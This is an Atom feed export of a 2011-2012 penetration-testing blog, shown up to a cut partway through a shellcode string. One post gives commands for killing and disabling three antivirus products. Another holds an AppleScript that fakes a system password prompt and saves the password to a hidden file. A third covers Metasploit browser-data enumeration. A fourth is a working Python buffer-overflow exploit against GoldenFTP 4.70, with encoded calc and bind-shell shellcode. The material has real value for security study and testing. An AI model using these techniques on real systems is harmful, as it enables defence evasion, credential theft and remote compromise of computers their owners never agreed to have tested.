<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2320276621879394553</id><updated>2012-02-08T07:48:01.872-08:00</updated><category term='network security defense'/><category term='ethical hacking penetration testing openssh terminal shell'/><category term='covert channel protocol header'/><category term='dns ids sensor snort'/><category term='802.1x eap peap ttls'/><category term='security implementation sales ethical hacking'/><category term='hping icmp redirect'/><category term='antivirus penetration testing'/><category term='multicast recon botnet worm'/><category term='tshark wireshark packet capture'/><category term='scapy icmp redirect'/><title type='text'>Net = Packet Header != Security ? 0 : 1</title><subtitle type='html'>This blog contains technical material about network security/architecture.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.packetheader.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-4918768226379880674</id><published>2011-12-05T10:44:00.000-08:00</published><updated>2011-12-05T10:47:32.663-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antivirus penetration testing'/><title type='text'>Disabling AntiVirus when Pen Testing</title><content type='html'>When penetration testing, and targeting Windows systems, writing some executable content to the file system is invariably required at some stage. &amp;nbsp; Unfortunately today, the antivirus vendors have become quite adept with signatures that match assembly stub routines that are used to inject malware into a system. &amp;nbsp; The A/V guys will also pick up on common service executable files such as being used with Metasploit’s bypassuac. &amp;nbsp; Let’s face it, we still need to write stuff into temp directories from time to time.&lt;br /&gt;&lt;br /&gt;Mark Baggett, and Tim Tomes recently presented some nice techniques on hiding malware within Windows volume shadow copies &amp;nbsp;(&lt;a href="http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows"&gt;http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows&lt;/a&gt;). &amp;nbsp; Since it is unlikely for A/V products to be able to scan volume shadow copies, and the capability to create a process from a volume shadow copy using ‘wmic’ exists, then we would likely want to follow this sequence of tasks during a test:&lt;br /&gt;&lt;br /&gt;a) Disable the A/V product of choice.&lt;br /&gt;b) Upload our favorite/useful executable content. &amp;nbsp;(perhaps a reverse TCP meterpreter shell or similar)&lt;br /&gt;c) Upload Mark and Tim’s excellent vssown.vbs script&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;a. Enable service and create volume shadow copy.&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;b. Disable volume shadow copy service.&lt;br /&gt;d) Delete our favorite/useful executable content and modified timestamps accordingly assuming we want to be somewhat stealthy.&lt;br /&gt;e) Execute our content from the volume shadow copy using ‘wmic’ using the excellent vssown script, or just through ‘wmic process call create’.&lt;br /&gt;&lt;br /&gt;The challenge presented is whether we can effectively disable the antivirus product of choice. &amp;nbsp;Listed below are some possible techniques for three popular products which may get us what we need. &amp;nbsp; None of these techniques are stealthy from a user interface perspective. &amp;nbsp;Otherwise said, Windows security center and the A/V tray executable files themselves will try to inform the user that something is broken when we proceed with these recipes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Grisoft’s AVG&lt;br /&gt;&lt;br /&gt;Using the 2012 Freeware version, I note the following information about AVG. &amp;nbsp; &amp;nbsp;Services running are the AVG watchdog (avgwd), and the AVG IDS agent (avgidsagent). &amp;nbsp; &amp;nbsp;The running processes are as follows: avgidsagent.exe, avgwdsvc.exe, avgemca.exe, avgrsa.exe, avgcsrva.exe, and avgnsa.exe. &amp;nbsp; The watchdog process is very persistent at restarting things, is not killable, and neither is the service stoppable.&lt;br /&gt;&lt;br /&gt;DISABLING:&lt;br /&gt;a. Rename the binary files in %systemroot%\program files\avg\avg2012\ as follows.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; cd %systemroot%\program files\avg\avg2012&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; move avgcsrva.exe avgcsrva_.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; move avgemca.exe avgemca_.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; move avgnsa.exe avgnsa_.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; move avgrsa.exe avgrsa_.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;b. Kill the running processes simultaneously with a one line (wildcard powered) wmic command.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; &amp;nbsp;wmic process where “name like ‘avg[cenr]%.exe’” delete&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;c. The watchdog service will to restart all of the binaries but fail.&lt;br /&gt;&lt;br /&gt;ENABLING: Rename all of the binaries back to their original names, and the watchdog process will take care of the rest.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Microsoft Forefront&lt;br /&gt;&lt;br /&gt;The service name is “msmpsvc”, and the running processes are msmpeng.exe, and msseces.exe, one being the engine and the other being the GUI reporting/configuration tool respectively.&lt;br /&gt;&lt;br /&gt;DISABLING: &amp;nbsp;kill the GUI tool and stop the A/V engine service.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;C:\&amp;gt; wmic process where name=”msseces.exe” delete&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;C:\&amp;gt; sc stop msmpsvc&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;ENABLING: start the A/V service engine, and start the GUI process.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; cd \Program Files\Microsoft Security Client&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; sc start msmpsvc&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; msseces.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Symantec Endpoint Protection&lt;br /&gt;&lt;br /&gt;The services running are ccEvtMgr, ccSetMgr, smcservice, and “Symantec AntiVirus”. &amp;nbsp; The processes that matter are smb.exe, and smcgui.exe.&lt;br /&gt;&lt;br /&gt;DISABLING: kill the processes, and stop the services. &amp;nbsp; I found that the event manager (ccEvtMgr), and settings manager (ccSetMgr) service can remain running without any impact.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; wmic process where “name like ‘%smc%.exe’” delete&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; sc stop smcservice&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; sc stop “Symantec AntiVirus”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ENABLING: restarting just the smcservice will start everything else back up again.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;C:\&amp;gt; sc start smcservice&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-4918768226379880674?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/4918768226379880674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=4918768226379880674' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4918768226379880674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4918768226379880674'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/12/disabling-antivirus-when-pen-testing_05.html' title='Disabling AntiVirus when Pen Testing'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-3987774475511161456</id><published>2011-10-25T14:41:00.000-07:00</published><updated>2011-10-25T14:41:02.703-07:00</updated><title type='text'>Fun with AppleScript</title><content type='html'>--&lt;br /&gt;-- Description: This script prompts the user to enter their password&lt;br /&gt;--&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; in order to perform a privileged function.&amp;nbsp; The password&lt;br /&gt;--&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; is subsequently saved to a hidden file in their home directory.&lt;br /&gt;--&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; The "Cancel" button is the default on the dialog which&lt;br /&gt;--&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; will hopefully encourage the user to enter accurate info.&lt;br /&gt;--&lt;br /&gt;-- Author: Joff Thyer, October 2011&lt;br /&gt;--&lt;br /&gt;set filename to ((path to home folder) as string) &amp;amp; ".mpass"&lt;br /&gt;set myprompt to "Type your password to allow System Preferences to make changes"&lt;br /&gt;&lt;br /&gt;set ans to "Cancel"&lt;br /&gt;repeat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; set ans to button returned of d_returns&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; set mypass to text returned of d_returns&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if ans = "OK" then exit repeat&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; end try&lt;br /&gt;end repeat&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; set now to do shell script "date '+%Y%m%d_%H%M%S:'"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; set myfile to open for access filename with write permission&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; set outstr to now &amp;amp; mypass &amp;amp; "&lt;br /&gt;"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; write outstr to myfile starting at eof&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; close access myfile&lt;br /&gt;on error&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; try&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; close access myfile&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; end try&lt;br /&gt;end try&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-3987774475511161456?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/3987774475511161456/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=3987774475511161456' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/3987774475511161456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/3987774475511161456'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/10/fun-with-applescript.html' title='Fun with AppleScript'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-5885716366599245291</id><published>2011-07-15T09:05:00.000-07:00</published><updated>2011-07-15T09:05:40.109-07:00</updated><title type='text'>Using metasploit meterpreter scripts enum_firefox.rb and enum_chrome.rb</title><content type='html'>Two useful meterpreter scripts for enumerating client browser data are enum_firefox.rb and enum_chrome.rb located in the framework scripts/meterpreter directory.&lt;br /&gt;&lt;br /&gt;It is important to understand that both of these scripts require sqlite3 be properly installed on your exploitation system.&amp;nbsp; Assuming your exploitation system is Ubuntu Linux for a moment, you can ensure that sqlite3 dependencies are installed as follows:&lt;br /&gt;&lt;br /&gt;sudo apt-get install sqlite3&lt;br /&gt;sudo apt-get install libsqlite3-dev&lt;br /&gt;sudo gem install sqlite3-ruby&lt;br /&gt;&lt;br /&gt;Once this has completed, then restart your msfconsole, exploit away and run the appropriate browser enumeration scripts.&amp;nbsp;&amp;nbsp;&amp;nbsp; Output from your enumeration will be stored in the msf config directory with the following path.&lt;br /&gt;&lt;br /&gt;log/scripts/enum_firefox&lt;br /&gt;log/scripts/enum_chrome&lt;br /&gt;&lt;br /&gt;With a local installation under Ubuntu, the msf config directory is often $HOME/.msf&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-5885716366599245291?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/5885716366599245291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=5885716366599245291' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/5885716366599245291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/5885716366599245291'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/07/using-metasploit-meterpreter-scripts.html' title='Using metasploit meterpreter scripts enum_firefox.rb and enum_chrome.rb'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-7157124505945718512</id><published>2011-07-08T09:32:00.000-07:00</published><updated>2011-07-08T12:21:58.014-07:00</updated><title type='text'>Revised V2.5 Golden FTP 4.70 PASS overflow exploit</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#!/usr/bin/python&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;###########################################################################&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Exploit Title: Revised V2.5: GoldenFTP 4.70 PASS overflow exploit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Exploit Version: 2.5, 2011-07-08 15:00&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Date: July 8, 2011 (20110708-1500)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Author: Joff Thyer (jsthyer@gmail.com)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Software Link: http://www.goldenftpserver.com/&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Version: 4.70&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## Tested on: WinXP-SP0/SP2/SP3&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## CVE: 2006-6576&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## based on exploit by:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## &amp;nbsp; Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;##&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## NOTES:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## (1) You must make sure that the "Show new connections" option is enabled&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## in order for this exploit to work.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## (2) Specifying the IP source address is important as it is used in the&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;## calculation of the overflow buffer offset.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;###########################################################################&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;import socket&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;import sys&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;from subprocess import Popen, PIPE&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;import re&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;import time&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# Metasploit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# ./msfpayload windows/exec CMD=calc.exe r | ./msfencode -b '\x00\x0a\x0d' -c 3&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# 281 bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;calc = \&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xda\xd8\xbf\xbd\xe6\x2a\x25\xd9\x74\x24\xf4\x5d\x2b\xc9" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xb1\x40\x31\x7d\x19\x03\x7d\x19\x83\xc5\x04\x5f\x13\xf0" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xfc\x25\x7d\x71\xce\xb6\xa7\x0e\x14\xbc\x03\xc4\x9d\x8d" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x8d\x2b\x4d\xf7\xee\x18\x6b\x84\x32\x9a\x69\xde\x1d\x56" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x5b\x3c\x2b\x9b\xd7\x9f\x60\x60\x07\x1a\x80\xa2\x81\xae" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xce\x53\x0c\x41\x2a\x63\xce\xe5\x8c\xb1\x14\x78\x13\x69" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x5b\xe0\x83\x33\x30\x96\x31\x89\x93\x5f\x95\x5c\xe5\x63" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x23\x44\xfa\xe4\xe4\xbc\x75\x83\xb8\x5e\xa3\x1f\x86\x37" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xc8\xf4\x89\xab\x9d\x6e\x65\xac\x65\xfc\x7b\xe9\x86\xe6" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x8f\x25\x93\x03\xd4\x1d\x7f\x73\x91\xc4\x68\x67\x62\x59" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xe0\x5f\x51\x08\xfb\xd7\x1f\xb6\x5a\x27\xe9\x35\x61\x3e" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xf8\x4c\xac\x19\x43\x47\x2b\x13\x92\x9e\x1a\xed\xfd\x45" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x98\x34\x2a\x83\xb4\x84\x2e\xa0\x67\x24\x44\x5b\x32\x0b" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xbf\x5b\x7a\x9f\xa6\xc8\xd7\xaf\x04\xb9\xa2\x53\x5f\xfd" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x6f\x5b\x32\x77\xb2\x5b\xec\x53\xa1\x12\x29\x88\x5d\x0f" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x27\x92\x8b\xca\x63\x38\x4d\x1b\xd2\x26\x0e\xf8\xdf\xf4" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xef\x8f\x14\x63\xf2\x81\x9e\x60\xb0\xc6\xbe\x97\x1e\x27" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x32\x8f\x88\x29\x3e\xa4\xbe\xd6\x45\xaa\x70\xcd\x8a\xf6" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xcd\xa0\x15\x5b\x4b\x73\xde\x3c\xa6\x33\x7d\xa5\xa9\xda" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x0b\xdf\xc3\xd9\xe9\x81\x5a\xbb\x77\x47\x45\x75\xf9\x5f" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x88"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# Metasploit&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# ./msfpayload windows/exec CMD=windows/shell_bind_tcp r | ./msfencode -b '\x00\x0a\x0d' -c3&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# 422 bytes&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;cmdshell = \&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xd9\xce\xba\xd6\x6f\x98\xda\xd9\x74\x24\xf4\x5f\x33\xc9" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xb1\x63\x31\x57\x1a\x03\x57\x1a\x83\xef\xfc\xe2\x23\xd5" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x9d\x94\x67\x5c\x47\xea\xae\xd5\x53\x1f\x0e\x3f\x55\x6e" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xf3\x0e\x33\x83\x08\x27\xa9\x20\xe5\x75\x83\xa5\xb5\x66" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x03\x32\x7d\xe2\xf5\xfa\x35\x4c\x0f\x9b\x44\x05\x5b\x98" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x24\x7d\xf0\xc3\xb6\xa2\x68\x9c\x42\xed\x08\x82\xfe\xbb" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x7e\xcf\x76\x76\x97\x38\xeb\xb1\x98\xd6\x51\x8b\xca\xae" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xea\x2b\x72\x86\x3b\x67\x6a\x9f\x5d\xf2\x4c\xb8\x23\x10" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x95\xd3\x01\x41\x09\x36\x93\x41\xaa\xb5\x84\xd9\x35\xb0" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x44\x13\xc0\x38\x6b\xab\x1a\x8c\xb7\xec\x30\x7a\x4a\x73" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xe5\xf1\x7e\x7e\xaf\x66\xa1\x85\x53\xea\x1a\xd7\x0b\x9a" 